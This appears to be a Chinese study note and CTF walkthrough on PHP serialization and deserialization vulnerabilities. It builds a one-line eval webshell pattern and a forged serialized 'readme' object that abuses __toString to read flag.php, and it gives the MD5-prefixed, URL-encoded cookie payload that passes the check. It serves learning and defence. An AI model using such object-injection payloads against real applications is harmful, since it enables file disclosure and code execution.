只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力!
serialize
为 序列化的意思
unserialize
为 取消 序列化,在这理解为反序列化
那先来说一下,什么是序列化?:
序列化(serialize
)是将对象的状态信息转换为可以储存或传输的形式的过程。在序列化期间对象将其当前状态写入到临时或者持久性储存区。以后,可以通过从储存区中读取或反序列化对象的状态,重新创建该对象【以字符串的形式将其保存】
简单的理解就是,将php中 对象,类,数组,变量,匿名函数等,转化为字符串,方便保存到数据库或者文件中。
序列化类似于存档,将其当前状态已字符串的形式保存下来
反序列化类似于读档,就是将序列化之后保存下来的字符串,还原到序列化之前。
了解了序列化是怎样一个概念,就需要知道,为什么需要这么个东西了,事物的存在是有必要客观因素的。
所以我们得接下来说一下老知识点:类 | 对象
类 :一个种类,一个类似于模版的意思,比如,人类,属于一类;车,属于一类。它是一个庞统的概念。
对象:还是以上面的类接着说,人类,是一个大的范围,而如果定位到某一个人,那就有了属性,比如他是中国人,他1.8米,他是男人,这些都是他的属性,他是一个真实存在的事物,也就能理解他为一个 实例。对象里面存在方法和属性。
来看一下实例:
show_source(__FILE__);
class zf{
var $test = '123';
}
$class = new zf;
?>
showsource()
函数对文件进行语法高亮显示。_FILE_
是源文件的绝对路径,这个意思就是将本文件以高亮显示出来。
class
在PHP
中,可以使用 class
关键字加类名的方式定义一个类,然后用大括号{ }
将在类体中定义类的属性和方法包裹起来,类的语法格式如下:
class 类名{ 类的属性和方法 ;}
var
它用于在PHP4中声明类成员变量,在PHP 5
引入了属性和方法可见性(public
,protected
和private
),因此`var``不在推荐使用。
new zf
为将对象实体化,前面的为类定义属性或者方法。
实体化的对象,在被调用的时候才能使用,当这里使用完时,也就不在存在,所以我们得将其保存下来,这就需要用到序列化了,将其以字符串的形式保存下来,方便传输和保存。来看一下实体化的对象是怎么样的。
实例:
show_source(__FILE__);
class zf{
var $test = '123';
}
$class = new zf;
echo '
'.serialize($class);
?>
输出:
O:2:"zf":1:{s:4:"test";s:3:"123";}
会已这样的字符串的形式存在。来简单解释一下这些字符串的意思。
【这里需要提一点,并非只能对 类 做序列化,其他也可以,比如数组。】
实例:
show_source(__FILE__);
// class zf{
// var $test = '123';
// }
$class = array('qwer');
echo '
'.serialize($class);
?>
输出:
a:1:{i:0;s:4:"qwer";}
既然看了序列化,也了解一下反序列化。
实例:
show_source(__FILE__);
// class zf{
// var $test = '123';
// }
//$classl = new zf;
$a = 'O:2:"zf":1:{s:4:"test";s:3:"123";}';
var_dump(unserialize($a));
?>
输出:
object(zf)#1 (1){['test'] => string '123'}
这里将刚刚序列化的内容,放到这里来进行一次反序列化,得到了刚刚对象的类型和类名,及类的属性和方法的值。
在看一下序列化是怎么产生漏洞的
实例:
class hj{
public function test(){
eval ($this -> source);
}
}
$s = new hj();
$s -> source = "echo 'hello world';";
$s -> test()
?>
输出:
hello world
创建一个类,类名是叫hj
;public function
,定义公有函数,这个函数叫test;eval
,任意代码执行(这里是一个伪变量,暂时没有给其赋值,可以后面在传入进去);将hj
类实体化,放入变量$s
中,然后这里对其刚刚的伪变量传入值;最后调用函数test
,方法执行eval(echo hello world)输出``hello world
。
在这里看起来也没什么问题 可是 如果在echo
的地方我们传入的不是hello world
而是`$_REQUEST[888]``呢?
这样就变成了一句话木马。当然,这里人家开发是不可能会写个木马在这里。所以代码的情况得变变
class hj{
public function a(){
eval ($this -> source);
}
}
$s = unserialize($_GET('a'));
?>
一般会是这样的情况,这里通过数据库或者其他方法,得到一个序列化的内容,然后放入到里面执行,只要我们在这中间控制了传入的内容,就能实施攻击
当然,类的名字和信息,是需要绑定的,所以序列化还是得在这里进行,这个也符合场景,因为反序列化的挖掘都是白盒测试,所以知道代码很正常。这里直接用这个的代码做恶意语句的序列化值。
class hj{
public function a(){
eval ($this -> source);
}
}
$s = new hj();
$s ->source = "$_REQUEST[888]";
$s ->a();
echo serialize($s);
?>
这样就得到了序列化之后的内容,将这个得到的序列化之后字符串,复制下来,让其刚刚的正常的代码去执行,看能不能起到作用
O:2:"hj":1:{s:6:"source";s:1:";";}
如果在末尾加上调用方法,那么这里就成功了。可是就如刚刚说的 这里单独去调用一下不可能的,开发不会写这样的东西,但是呢,他们会用另外的东西,名为魔术方法
自动触发的函数,当满足某个条件时,就会自动触发
常见魔术方法
__construct
对象创建时自动调用__destruct
对象销毁时自动调用__wakeup
在使用unserialize
函数的时候会被使用__toString
当一个对象被当作字符串被对待时,会触发serialize()
和unserialize()
在PHP内部实现是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题的时候导致的。当传给unserilize()
的参数可控时,那么用户就可以注入精心构造的payload
。当进行反序列的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
左上角第一句就告诉了我们flag
在哪,在flag.php
里面。
先看第一段:
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
Class readme
定义一个类 类名叫做readme
public function __toString()
这里使用了一个tustring
的魔术方法,而这个,意思刚刚也有提到,当对象被当作字符串处理时,会启动。
return
返回 highlight_file()
函数对文件进行语法高亮显示。 第一句的意思是:当上面的方法启动时,会高量返回readme.txt
里面的内容。接着看下一句:还是高量函数,返回变量source
等下传过来的值。
看下一段:
if(isset($_GET['source'])){
$s = new readme();
$s->source = __FILE__;
echo $s;
exit;
}
isset()
检查变量是否设置,然后还是在if分支语句里面,那这里这么理解:检查GET
传参里面有没有source
的值,有就接着往下执行,反之停止向下执行代码。
$s =
实体化对象readme
这里对source
传入了数据,数据是是当前文件的绝对路径
输出变量 $s
(这里就满足了刚刚的魔术方法)
然后结束。
这里没戏,虽然如果将恶意序列化语句能够传入到FILE是满足我们的条件的,但是如果能传,那也代表进入了分支语句,就肯定会执行最下面的死亡函数,所有这里pass
,接着往下看。
下一段:
if(isset($_COOKIE['todos'])){
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
第一句和上面一样 刚刚是检查GET
的传参是否为空,这个检查的cookie
,cookie
里面的值要等于todos
,才能往下执行。
这里看的顺序换一下,先从下面开始看,最后写着反序列化,将变量m
的值,进行反序列化,传给变量todos
,这个操作是需要满足上面一个的条件。
条件为:变量m
的值,MD5
化,然后要类型和值都等于变量h
,才会执行下面的语句,那既然我们想要他条件达成,所以这里m
的值和h
的值就必须是一样的了。
substr
的意思是截取设定好的字符,m
等于cookie
的``32位后面的所有值。变量h
等于cookie
前32
个值。【$c=$h+$m】
这样看下来,只要满足 $c=md5($m)+$m
即可
这样就好操作了,先将第一段代码弄下来,放到虚拟机上。
Class readme{
public function __toString()
{
return highlight_file('Readme.txt', true).highlight_file($this->source, true);
}
}
$s = new readme();
$s ->source='./flag.php';
echo serialize($s);
?>
解释一下 第一句是将类实体化,然后source
传入我们想要知道的flag.php
的文件,让其去访问,然后echo
输入其序列化之后的内容
这里就得到了序列化之后的值,但是刚刚的输出不能用 只能找其他的地方了,在下方有个输出,是中特殊的写法
foreach($todos as $todo):?>
<li>=$todo?></li>
endforeach;?>
代码拿过来解析一下:foreach
遍历的意思,然后后面的as
的意思是将变量todos
的值,拿出来放到变量todo
中,又因为在遍历里面,所以是将变量todos
里面的值,一个个拿出来放到变量todo
中,执行下面的代码=$todo?>
就是等于 这是一种特殊的写法,所以这就满足最上面魔术方法的条件,但是这里需要注意的是,
foreach
是只能执行数组的,而我们前面的序列化之后的值是对象的,所以得在给他改为数组才行。
这样就得到了数组类型的序列化值,那这个就等于$m的值,而$c等于md5($m)+$m,所以将其md5一下
fae1710f5e51885bcf095e718ca752cc
a:1:{i:0;O:6:"readme":1:{s:6:"source";s:10:"./flag.php";}}
然后将其合起来
fae1710f5e51885bcf095e718ca752cca:1:{i:0;O:6:”readme”:1:{s:6:”source”;s:10:”./flag.php”;}}
因为cookie,是需要转码的,所以在进行一次转码
对其抓包,放入cookie
的todos
的中
fae1710f5e51885bcf095e718ca752cca%3a1%3a%7bi%3a0%3bO%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a10%3a%22.%2fflag.php%22%3b%7d%7d
反序列化漏洞基本都出现在白盒审计的情境中,所以以黑盒来攻击这样的方式不大可能出现,如果要减少这方面问题的话,还是得开发在使用反序列化的时候多注意语句调用。
《最好的防御,是明白其怎么实施的攻击》